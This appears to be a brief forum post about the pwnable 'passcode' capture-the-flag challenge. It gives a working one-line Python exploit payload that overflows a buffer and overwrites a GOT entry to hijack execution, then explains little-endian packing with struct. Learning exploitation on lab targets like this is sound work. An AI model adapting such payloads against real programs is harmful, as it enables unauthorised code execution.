While i was doing challange on pwnable (passcode) I had problem with this. I found a solution :
(python -c 'import struct;print "\x41"*(96)+struct.pack("<I",0x0804a018)+"134514147"' 2>/dev/null) | ./passcode
This < I
part is a format string, that says pack to use little-endian byte order unsigned int representation for a value given as a second parameter.
You can find all this stuff in the documentation of the package.